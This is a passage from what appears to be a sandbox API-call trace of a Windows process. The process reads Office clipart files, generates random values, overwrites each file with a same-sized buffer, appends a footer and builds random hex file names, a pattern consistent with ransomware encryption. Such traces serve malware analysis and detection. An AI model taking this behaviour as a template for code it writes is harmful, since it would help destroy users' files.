_Format="%c%c" | out: _Dest="b7") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="42") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="49") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="91") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.236] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.236] RtlInitAnsiString (in: DestinationString=0x2edefce8, SourceString="8cf3cda1094cccd465d481f88b4f4c0df5b7aa424991b9d6" | out: DestinationString="8cf3cda1094cccd465d481f88b4f4c0df5b7aa424991b9d6") [0207.236] RtlAnsiStringToUnicodeString (in: DestinationString=0x2edefcb8, SourceString="8cf3cda1094cccd465d481f88b4f4c0df5b7aa424991b9d6", AllocateDestinationString=1 | out: DestinationString="8cf3cda1094cccd465d481f88b4f4c0df5b7aa424991b9d6") returned 0x0 [0207.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8cd0 [0207.236] wcscat (in: _Dest=0x431c7800, _Source="8cf3cda1094c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c" [0207.236] wcscat (in: _Dest=0x431c7800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c.2f9b60" [0207.236] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c.2f9b60", NtPathName=0x2edefc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\8cf3cda1094c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431297a0 Thread: id = 2392 os_tid = 0x1dc4 [0150.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0150.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF", dwFileAttributes=0x20) returned 1 [0150.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2208 [0150.563] GetFileSizeEx (in: hFile=0x2208, lpFileSize=0x2f2ffd60 | out: lpFileSize=0x2f2ffd60*=12356) returned 1 [0150.563] SetFilePointerEx (in: hFile=0x2208, liDistanceToMove=0x3040, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.563] ReadFile (in: hFile=0x2208, lpBuffer=0x2f2ffce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f2ffd28, lpOverlapped=0x0 | out: lpBuffer=0x2f2ffce0*, lpNumberOfBytesRead=0x2f2ffd28*=0x4, lpOverlapped=0x0) returned 1 [0150.565] SetFilePointerEx (in: hFile=0x2208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47e0 [0150.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f48d0 [0150.566] NtQuerySystemTime (in: CurrentTime=0x2f2ffc20 | out: CurrentTime=0x2f2ffc20*=132462177557734000) returned 0x0 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x2f1f59cc [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x5beb0b0 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x148b9eac [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x5ee0d370 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x4235f63e [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x6c13e4b0 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x6f619728 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x6af23ce1 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x56e29412 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x5bccbd1a [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x667a0cf0 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x5f75c03b [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x67db39fc [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x3892233e [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x5e53882a [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x2d5203bb [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x49b87b90 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x492d73cd [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x2a006cb9 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x420732f8 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x3ba6701a [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x7dca0048 [0150.566] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x6cf36989 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x6f9f9378 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x169a49ba [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x27cbfaa2 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x733882fc [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x1d80b303 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0xb9ab3e3 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x103eefb3 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x18c41cf9 [0150.567] RtlRandomEx (in: Seed=0x2f2ffc10 | out: Seed=0x2f2ffc10) returned 0x7967bbe1 [0150.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4900 [0150.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b5b0 [0150.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4930 [0150.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b5b0) returned 1 [0150.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f48d0) returned 1 [0150.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420584c0 [0150.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b5b0 [0150.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42490190 [0150.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42493da0 [0150.578] ReadFile (in: hFile=0x2208, lpBuffer=0x42490190, nNumberOfBytesToRead=0x3044, lpNumberOfBytesRead=0x2f2ffc10, lpOverlapped=0x0 | out: lpBuffer=0x42490190*, lpNumberOfBytesRead=0x2f2ffc10*=0x3044, lpOverlapped=0x0) returned 1 [0150.580] SetFilePointerEx (in: hFile=0x2208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.580] WriteFile (hFile=0x2208, lpBuffer=0x42493da0, nNumberOfBytesToWrite=0x3044, lpNumberOfBytesWritten=0x2f2ffc14, lpOverlapped=0x0) [0186.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9dd0 [0186.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9e00 [0186.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9e00) returned 1 [0186.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42493da0) returned 1 [0186.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42490190) returned 1 [0186.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b5b0) returned 1 [0186.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420584c0) returned 1 [0186.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9e00 [0186.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420584c0 [0186.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b5b0 [0186.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9e30 [0186.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9e30) returned 1 [0186.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9e30 [0186.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9e60 [0186.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9e90 [0186.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9e90) returned 1 [0186.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b5b0) returned 1 [0186.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420584c0) returned 1 [0186.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x431015c0 [0186.508] SetFilePointerEx (in: hFile=0x2208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.508] WriteFile (in: hFile=0x2208, lpBuffer=0x431015c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f2ffd30, lpOverlapped=0x0 | out: lpBuffer=0x431015c0*, lpNumberOfBytesWritten=0x2f2ffd30*=0x10a, lpOverlapped=0x0) returned 1 [0207.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f48a0 [0207.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f48a0) returned 1 [0207.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f48a0 [0207.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4870 [0207.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4870) returned 1 [0207.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.241] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="29") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="27") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="25") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="60") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="55") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="a4") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="a4") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="52") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="ed") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="96") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="c5") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="58") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="1e") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="61") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.241] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="15") returned 2 [0207.241] RtlInitAnsiString (in: DestinationString=0x2f2ffda8, SourceString="2927256055e6eaa4f4a4523aed2f96f4eac5581e612da215" | out: DestinationString="2927256055e6eaa4f4a4523aed2f96f4eac5581e612da215") [0207.242] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f2ffd78, SourceString="2927256055e6eaa4f4a4523aed2f96f4eac5581e612da215", AllocateDestinationString=1 | out: DestinationString="2927256055e6eaa4f4a4523aed2f96f4eac5581e612da215") returned 0x0 [0207.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e8d40 [0207.242] wcscat (in: _Dest=0x431c78a0, _Source="2927256055e6" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6" [0207.242] wcscat (in: _Dest=0x431c78a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6.2f9b60" [0207.242] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6.2f9b60", NtPathName=0x2f2ffd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2927256055e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43129860 Thread: id = 2393 os_tid = 0x1dc8 [0150.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0150.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF", dwFileAttributes=0x20) returned 1 [0150.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x220c [0150.582] GetFileSizeEx (in: hFile=0x220c, lpFileSize=0x2f4ef8a0 | out: lpFileSize=0x2f4ef8a0*=6780) returned 1 [0150.583] SetFilePointerEx (in: hFile=0x220c, liDistanceToMove=0x1a78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.583] ReadFile (in: hFile=0x220c, lpBuffer=0x2f4ef820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f4ef868, lpOverlapped=0x0 | out: lpBuffer=0x2f4ef820*, lpNumberOfBytesRead=0x2f4ef868*=0x4, lpOverlapped=0x0) returned 1 [0150.584] SetFilePointerEx (in: hFile=0x220c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f48d0 [0150.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4960 [0150.585] NtQuerySystemTime (in: CurrentTime=0x2f4ef760 | out: CurrentTime=0x2f4ef760*=132462177557890000) returned 0x0 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x2b235ee4 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x36785318 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x6ce07d47 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x30af03b3 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0xf48dc95 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x1f1e99e3 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x5e206cc2 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x26426e85 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x26a78fd1 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x71edff62 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x7e00bed [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x2da848a4 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x23adaaa3 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x4d7c66f6 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x1c1b5c63 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x3295ebfd [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x685760eb [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x61380ca [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x2fcbaf65 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x1fd68d86 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x3156ca23 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x995647 [0150.585] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x199edac9 [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x50ecd549 [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x7ea5e57a [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x49e96608 [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x46d341d1 [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x1855dd1e [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0xe1fadfb [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x5c6a50bc [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x1d665b74 [0150.586] RtlRandomEx (in: Seed=0x2f4ef750 | out: Seed=0x2f4ef750) returned 0x6c8994dd [0150.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4990 [0150.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0150.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f49c0 [0150.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0150.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4960) returned 1 [0150.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0150.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0150.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0150.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0150.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424979b0 [0150.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4249b5c0 [0150.595] ReadFile (in: hFile=0x220c, lpBuffer=0x424979b0, nNumberOfBytesToRead=0x1a7c, lpNumberOfBytesRead=0x2f4ef750, lpOverlapped=0x0 | out: lpBuffer=0x424979b0*, lpNumberOfBytesRead=0x2f4ef750*=0x1a7c, lpOverlapped=0x0) returned 1 [0150.604] SetFilePointerEx (in: hFile=0x220c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.604] WriteFile (in: hFile=0x220c, lpBuffer=0x4249b5c0*, nNumberOfBytesToWrite=0x1a7c, lpNumberOfBytesWritten=0x2f4ef754, lpOverlapped=0x0 | out: lpBuffer=0x4249b5c0*, lpNumberOfBytesWritten=0x2f4ef754*=0x1a7c, lpOverlapped=0x0) returned 1 [0162.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19350 [0162.610] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19380 [0162.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19380) returned 1 [0162.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4249b5c0) returned 1 [0162.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424979b0) returned 1 [0162.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0162.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0162.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19380 [0162.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058510 [0162.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b630 [0162.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c193b0 [0162.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c193b0) returned 1 [0162.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c193b0 [0162.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c193e0 [0162.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19410 [0162.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19410) returned 1 [0162.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b630) returned 1 [0162.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058510) returned 1 [0162.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c15830 [0162.614] SetFilePointerEx (in: hFile=0x220c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.614] WriteFile (hFile=0x220c, lpBuffer=0x42c15830, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f4ef870, lpOverlapped=0x0) [0206.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb0e0 [0206.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4cc0 [0206.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4cc0) returned 1 [0206.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0eae0 [0206.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4cc0 [0206.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4c90 [0206.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4c90) returned 1 [0206.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb0e0) returned 1 [0206.728] RtlFreeHeap (HeapHandle=0xa0000, 